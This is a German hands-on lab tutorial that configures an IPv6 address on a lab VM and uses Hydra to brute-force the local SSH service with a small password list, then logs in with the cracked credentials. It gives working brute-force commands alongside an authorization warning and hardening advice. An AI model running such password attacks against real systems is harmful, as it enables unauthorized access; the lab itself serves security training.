Einführung
In diesem Labor lernen Sie, wie Sie IPv6-Ziele mit Hydra angreifen. Das Labor konzentriert sich auf die Konfiguration eines Servers mit einer IPv6-Adresse und den anschließenden Einsatz von Hydra zur Attacke des SSH-Dienstes.
Das Labor beginnt mit der Konfiguration des Servers mit der IPv6-Adresse 2001:db8:1::1/64 auf der eth0-Schnittstelle mithilfe des Befehls ip. Anschließend aktivieren Sie die Schnittstelle und überprüfen die Konfiguration. Schließlich verwenden Sie Hydra mit der Option -6, um den IPv6 SSH-Dienst anzugreifen und die Ergebnisse der Attacke zu überprüfen.
Server mit IPv6-Adresse konfigurieren
In diesem Schritt konfigurieren Sie die LabEx-VM mit einer IPv6-Adresse. Dies ist ein entscheidender Schritt, um IPv6-Kommunikation zu ermöglichen und den anschließenden Angriff auf den IPv6 SSH-Dienst vorzubereiten.
Zunächst verstehen wir die Grundlagen der IPv6-Adressierung. IPv6-Adressen sind 128-Bit-Adressen, die typischerweise in hexadezimaler Notation dargestellt werden. Eine typische IPv6-Adresse sieht so aus: 2001:0db8:85a3:0000:0000:8a2e:0370:7334.
Zur Vereinfachung der Konfiguration weisen Sie die Adresse 2001:db8:1::1/64 der Schnittstelle eth0 zu. Die Schnittstelle eth0 ist ein gängiger Name für Netzwerkverbindungen in Linux-Systemen.
Konfigurieren wir nun die IPv6-Adresse. Sie verwenden den Befehl ip, ein leistungsstarkes Werkzeug zur Verwaltung von Netzwerkschnittstellen.
IPv6-Adresse zur Schnittstelle
eth0hinzufügen:Öffnen Sie Ihr Terminal in der LabEx-VM. Führen Sie den folgenden Befehl aus:
sudo ip addr add 2001:db8:1::1/64 dev eth0Dieser Befehl fügt die IPv6-Adresse
2001:db8:1::1/64zur Schnittstelleeth0hinzu. Die/64gibt die Länge des Netzwerkpräfixes an, die die Größe des IPv6-Subnetzes bestimmt.Schnittstelle
eth0aktivieren:sudo ip link set dev eth0 upDieser Befehl aktiviert die Schnittstelle
eth0, sodass sie Netzwerkverkehr senden und empfangen kann.IPv6-Adresskonfiguration überprüfen:
Um zu überprüfen, ob die IPv6-Adresse korrekt konfiguriert wurde, verwenden Sie erneut den Befehl
ip addr:ip addr show eth0Die Ausgabe sollte die IPv6-Adresse
2001:db8:1::1/64im Abschnittinet6enthalten. Sie sollten etwas Ähnliches wie Folgendes sehen:2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000 link/ether 00:16:3e:08:6d:7a brd ff:ff:ff:ff:ff:ff altname enp0s5 altname ens5 inet 172.16.50.97/24 metric 100 brd 172.16.50.255 scope global dynamic eth0 valid_lft 1892159937sec preferred_lft 1892159937sec inet6 2001:db8:1::1/64 scope global valid_lft forever preferred_lft forever inet6 fe80::216:3eff:fe08:6d7a/64 scope link valid_lft forever preferred_lft foreverDie Zeile
inet6 2001:db8:1::1/64 scope globalbestätigt, dass die IPv6-Adresse erfolgreich konfiguriert wurde.
Vorbereitung für IPv6 SSH-Angriff
In diesem Schritt bereiten Sie sich auf den Angriff auf den IPv6 SSH-Dienst vor, indem Sie die Option -6 mit Netzwerktools verstehen und verwenden. Die Option -6 wird häufig verwendet, um IPv6 bei der Interaktion mit Netzwerkdiensten zu bevorzugen. Dies ist wichtig, da einige Tools standardmäßig IPv4 bevorzugen, wenn sowohl IPv4- als auch IPv6-Adressen verfügbar sind.
Um sicherzustellen, dass Sie die im vorherigen Schritt konfigurierte IPv6-Adresse ansprechen, verwenden Sie den Befehl ping mit der Option -6. Dies überprüft, ob Sie den Server über seine IPv6-Adresse erreichen können.
IPv6-Adresse pingen:
Öffnen Sie Ihr Terminal in der LabEx-VM. Führen Sie den folgenden Befehl aus:
ping -6 2001:db8:1::1Dieser Befehl sendet ICMP Echo Request-Pakete an die IPv6-Adresse
2001:db8:1::1. Wenn der Server über IPv6 erreichbar ist, sollten Sie Antworten vom Server erhalten. Die Ausgabe sollte ähnlich wie folgt aussehen:PING 2001:db8:1::1(2001:db8:1::1) 56 data bytes 64 bytes from 2001:db8:1::1: icmp_seq=1 ttl=64 time=0.026 ms 64 bytes from 2001:db8:1::1: icmp_seq=2 ttl=64 time=0.041 ms 64 bytes from 2001:db8:1::1: icmp_seq=3 ttl=64 time=0.035 ms 64 bytes from 2001:db8:1::1: icmp_seq=4 ttl=64 time=0.032 ms ^C --- 2001:db8:1::1 ping statistics --- 4 packets transmitted, 4 received, 0% packet loss, time 3078ms rtt min/avg/max/mdev = 0.026/0.033/0.041/0.005 msDrücken Sie
Strg+C, um den Ping-Befehl nach einigen Paketen zu stoppen.Die Option
-6verstehen:Die Option
-6teilt dem Befehlpingmit, dass IPv6 verwendet werden soll. Viele andere Netzwerktools wiessh,curlundwgetunterstützen ebenfalls die Option-6. Durch die Verwendung dieser Option wird sichergestellt, dass das Tool versucht, eine Verbindung zum Zielhost über IPv6 herzustellen.Im nächsten Schritt verwenden Sie Hydra, um den SSH-Dienst anzugreifen. Sie verwenden die Option
-6mit Hydra, um die IPv6-Adresse des SSH-Servers gezielt anzugreifen. Dadurch wird sichergestellt, dass Sie die Sicherheit der IPv6 SSH-Konfiguration testen.
IPv6 SSH-Dienst angreifen
In diesem Schritt verwenden Sie Hydra, um einen Brute-Force-Angriff auf den SSH-Dienst durchzuführen, der auf der zuvor konfigurierten IPv6-Adresse läuft. Hydra ist ein leistungsstarkes Passwort-Cracking-Tool, das verschiedene Protokolle, einschließlich SSH, unterstützt.
Vor Beginn erstellen Sie eine einfache Passwortliste. Diese Liste enthält die Passwörter, die Hydra verwenden wird, um sich beim SSH-Dienst zu authentifizieren.
Starten des SSH-Dienstes:
Zunächst müssen Sie sicherstellen, dass der SSH-Dienst auf dem System läuft. Führen Sie den folgenden Befehl aus, um den SSH-Dienst zu starten:
sudo systemctl start sshSie können überprüfen, ob der SSH-Dienst läuft, indem Sie seinen Status abfragen:
sudo systemctl status sshDie Ausgabe sollte anzeigen, dass der Dienst aktiv und läuft.
Konfiguration von SSH zum Hören auf IPv6:
Standardmäßig hört SSH möglicherweise nur auf IPv4-Adressen. Sie müssen ihn konfigurieren, damit er auch auf IPv6-Adressen hört. Überprüfen Sie zunächst, auf welchen Adressen SSH derzeit hört:
ss -tlnp | grep :22Sie sollten eine Ausgabe wie
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*sehen, was bedeutet, dass SSH nur auf IPv4 hört.Bearbeiten Sie nun die SSH-Konfigurationsdatei, um das Hören auf IPv6 zu aktivieren:
sudo nano /etc/ssh/sshd_configSuchen Sie die Zeile, die
#AddressFamily anyoderAddressFamily inetenthält, und ändern Sie sie in:AddressFamily anyFalls die Zeile nicht vorhanden ist, fügen Sie sie hinzu. Dies teilt SSH mit, dass es sowohl auf IPv4- als auch auf IPv6-Adressen hören soll.
Speichern Sie die Datei, indem Sie
Strg + X, dannYzum Bestätigen des Speicherns undEingabezum Bestätigen des Dateinamens drücken.Starten Sie den SSH-Dienst neu, um die Änderungen anzuwenden:
sudo systemctl restart sshÜberprüfen Sie, ob SSH nun sowohl auf IPv4 als auch auf IPv6 hört:
ss -tlnp | grep :22Sie sollten nun sehen, dass SSH sowohl auf
0.0.0.0:22(IPv4) als auch auf[::]:22(IPv6) hört.Erstellen einer Passwortliste:
Öffnen Sie Ihr Terminal in der LabEx-VM. Sie befinden sich derzeit im Verzeichnis
~/project. Verwenden Sie den Editornano, um eine Datei namenspasswords.txtin diesem Verzeichnis zu erstellen:nano passwords.txtFügen Sie die folgenden Passwörter in die Datei ein, jeweils eine Passwort pro Zeile:
password 123456 qwerty admin labexSpeichern Sie die Datei, indem Sie
Strg + X, dannYzum Bestätigen des Speicherns undEingabezum Bestätigen des Dateinamens drücken.Ausführen von Hydra zum Angriff auf den IPv6 SSH-Dienst:
Nun verwenden Sie Hydra, um den SSH-Dienst anzugreifen. Verwenden Sie die Option
-6, um anzugeben, dass die IPv6-Adresse angegriffen werden soll. Geben Sie auch den Benutzernamen an, den Sie angreifen möchten (z. B.labex), die von Ihnen erstellte Passwortliste (passwords.txt) und die IPv6-Adresse des SSH-Servers (2001:db8:1::1).Führen Sie den folgenden Befehl aus:
hydra -6 -l labex -P passwords.txt ssh://[2001:db8:1::1]Zerlegung des Befehls:
hydra: Der Befehl zum Ausführen des Hydra-Tools.-6: Gibt an, dass Hydra IPv6 verwenden soll.-l labex: Gibt den anzugreifenden Benutzernamen an. In diesem Fall greifen Sie den Benutzerlabexan.-P passwords.txt: Gibt die zu verwendende Passwortliste an. In diesem Fall verwenden Sie die Dateipasswords.txt, die Sie im aktuellen Verzeichnis~/projecterstellt haben.ssh://[2001:db8:1::1]: Gibt den Ziel-SSH-Dienst an. Das Präfixssh://zeigt an, dass Sie einen SSH-Dienst angreifen, und[2001:db8:1::1]ist die IPv6-Adresse des Servers in eckigen Klammern (erforderlich für IPv6-Adressen in Hydra).
Hydra beginnt nun, die Passwörter in der Datei
passwords.txtgegen den SSH-Dienst zu testen. Wenn Hydra ein gültiges Passwort findet, zeigt es die Anmeldeinformationen an. Die Ausgabe sieht bei fehlenden Passwörtern möglicherweise so aus:Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Bitte verwenden Sie dieses Tool nicht gegen militärische oder Geheimdienstorganisationen oder für illegale Zwecke (dies ist nicht bindend, diese *** ignorieren Gesetze und Ethik trotzdem). Hydra (https://github.com/vanhauser-thc/thc-hydra) gestartet am YYYY-MM-DD HH:MM:SS [WARNUNG] Viele SSH-Konfigurationen begrenzen die Anzahl paralleler Aufgaben. Es wird empfohlen, die Aufgaben zu reduzieren: verwenden Sie -t 4 [DATEN] maximal 5 Aufgaben pro 1 Server, insgesamt 5 Aufgaben, 5 Anmeldeversuche (b:1/p:5), ~1 Versuch pro Aufgabe [DATEN] Angriff auf ssh://[2001:db8:1::1]:22/ 1 von 1 Ziel abgeschlossen, 0 gültige Passwörter gefunden Hydra beendet.Wenn kein Passwort gefunden wird, können Sie versuchen, Ihrer Datei
passwords.txtweitere gängige Passwörter hinzuzufügen. Sie können auch die Option-Vverwenden, um eine ausführlichere Ausgabe zu erhalten, die jeden Versuch anzeigt:hydra -6 -V -l labex -P passwords.txt ssh://[2001:db8:1::1]Sollte Hydra ein Passwort erfolgreich finden, sieht die Ausgabe wie folgt aus:
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Bitte verwenden Sie dieses Tool nicht gegen militärische oder Geheimdienstorganisationen oder für illegale Zwecke (dies ist nicht bindend, diese *** ignorieren Gesetze und Ethik trotzdem). Hydra (https://github.com/vanhauser-thc/thc-hydra) gestartet am YYYY-MM-DD HH:MM:SS [WARNUNG] Viele SSH-Konfigurationen begrenzen die Anzahl paralleler Aufgaben. Es wird empfohlen, die Aufgaben zu reduzieren: verwenden Sie -t 4 [DATEN] maximal 5 Aufgaben pro 1 Server, insgesamt 5 Aufgaben, 5 Anmeldeversuche (b:1/p:5), ~1 Versuch pro Aufgabe [DATEN] Angriff auf ssh://[2001:db8:1::1]:22/ [22][ssh] host: 2001:db8:1::1 login: labex password: [gefundenes_passwort] 1 von 1 Ziel erfolgreich abgeschlossen, 1 gültiges Passwort gefunden Hydra beendet.Diese Ausgabe zeigt an, dass Hydra das Passwort für den Benutzer
labexerfolgreich geknackt hat.Wichtiger Hinweis: Das Brute-Forcing von Passwörtern gegen ein System ohne Autorisierung ist illegal und unethisch. Dieses Labor dient nur zu Ausbildungszwecken, und Sie sollten diese Techniken nur auf Systemen anwenden, die Ihnen gehören oder auf denen Sie explizit die Erlaubnis zum Testen haben.
Ergebnisse des IPv6-Angriffs überprüfen
In diesem Schritt überprüfen Sie die Ergebnisse des Hydra-Angriffs auf den IPv6 SSH-Dienst. Sie prüfen, ob Hydra das Passwort erfolgreich geknackt hat und versuchen gegebenenfalls, sich mit den geknackten Anmeldeinformationen beim SSH-Dienst anzumelden.
Überprüfung der Hydra-Ausgabe:
Überprüfen Sie sorgfältig die Ausgabe des Hydra-Befehls aus dem vorherigen Schritt. Suchen Sie nach einer Zeile, die ein erfolgreiches Knacken des Passworts anzeigt. Die Ausgabe sollte ähnlich wie folgt aussehen:
[22][ssh] host: 2001:db8:1::1 login: labex password: [gefundenes_passwort]Wenn Sie diese Zeile sehen, bedeutet dies, dass Hydra das Passwort für den Benutzer
labexerfolgreich geknackt hat. Wenn kein Passwort gefunden wurde, zeigt dies an, dass die aktuelle Passwortliste das richtige Passwort nicht enthält, was tatsächlich ein gutes Sicherheitszeichen ist.Versuch der Anmeldung beim SSH-Dienst (falls ein Passwort gefunden wurde):
Wenn Hydra ein Passwort gefunden hat, können Sie versuchen, sich mit dem Befehl
sshbeim SSH-Dienst anzumelden. Verwenden Sie die Option-6, um anzugeben, dass Sie sich mit der IPv6-Adresse verbinden möchten.Führen Sie den folgenden Befehl aus, wobei Sie das von Hydra gefundene Passwort verwenden:
ssh -6 labex@2001:db8:1::1Geben Sie bei Aufforderung des Passworts das geknackte Passwort ein. Bei erfolgreicher Anmeldung werden Sie am SSH-Server angemeldet.
Wenn Hydra kein Passwort gefunden hat, können Sie dennoch die SSH IPv6-Konnektivität testen, indem Sie versuchen, eine Verbindung herzustellen (es wird nach einem Passwort gefragt, aber Sie können Strg+C drücken, um abzubrechen):
ssh -6 labex@2001:db8:1::1Die Tatsache, dass Sie eine Passworteingabe erhalten, bestätigt, dass SSH korrekt für IPv6 konfiguriert ist und Hydra in der Lage war, eine Verbindung zum Dienst herzustellen.
Sicherheitshinweise:
Dieses Labor hat die Bedeutung starker Passwörter und der Implementierung von Sicherheitsbest Practices zum Schutz Ihres SSH-Dienstes demonstriert. Hier sind einige Empfehlungen:
- Verwendung starker Passwörter: Verwenden Sie Passwörter mit mindestens 12 Zeichen und einer Mischung aus Groß- und Kleinbuchstaben, Zahlen und Symbolen.
- Deaktivierung der Passwort-Authentifizierung: Erwägen Sie die Deaktivierung der Passwort-Authentifizierung und die Verwendung von SSH-Schlüsseln anstelle von Passwörtern. SSH-Schlüssel sind sicherer als Passwörter, da sie viel schwerer zu knacken sind.
- Implementierung von Rate Limiting: Verwenden Sie Tools wie
fail2ban, um Rate Limiting für SSH-Anmeldeversuche zu implementieren. Dies verhindert, dass Angreifer in kurzer Zeit zu viele Passwörter ausprobieren. - Halten Sie Ihre Software auf dem neuesten Stand: Stellen Sie sicher, dass Ihre SSH-Server-Software mit den neuesten Sicherheitsupdates auf dem neuesten Stand ist.
Zusammenfassung
In diesem Labor haben Sie einen Server mit einer IPv6-Adresse konfiguriert, ein entscheidender Schritt zur Aktivierung der IPv6-Kommunikation. Dies beinhaltete das Verständnis der Grundlagen der IPv6-Adressierung und die Verwendung des Befehls ip, um die Adresse 2001:db8:1::1/64 der Schnittstelle eth0 zuzuweisen.
Anschließend haben Sie die Schnittstelle aktiviert und die Konfiguration mit ip addr show eth0 verifiziert, um sicherzustellen, dass die IPv6-Adresse korrekt zugewiesen wurde. Sie haben auch SSH so konfiguriert, dass es auf IPv6-Adressen hört, indem Sie die SSH-Konfigurationsdatei geändert und den Dienst neu gestartet haben.
Schließlich haben Sie Hydra mit der Option -6 verwendet, um den IPv6 SSH-Dienst anzugreifen, und einen erfolgreichen Brute-Force-Angriff durchgeführt. Anschließend haben Sie die Angriffsresultate verifiziert, indem Sie sich mit den geknackten Anmeldeinformationen beim SSH-Dienst angemeldet haben. Dieses Labor demonstrierte die Fähigkeit von Hydra, IPv6-Ziele anzugreifen, und unterstrich die Bedeutung starker Passwörter und Sicherheitsbest Practices für SSH-Dienste.


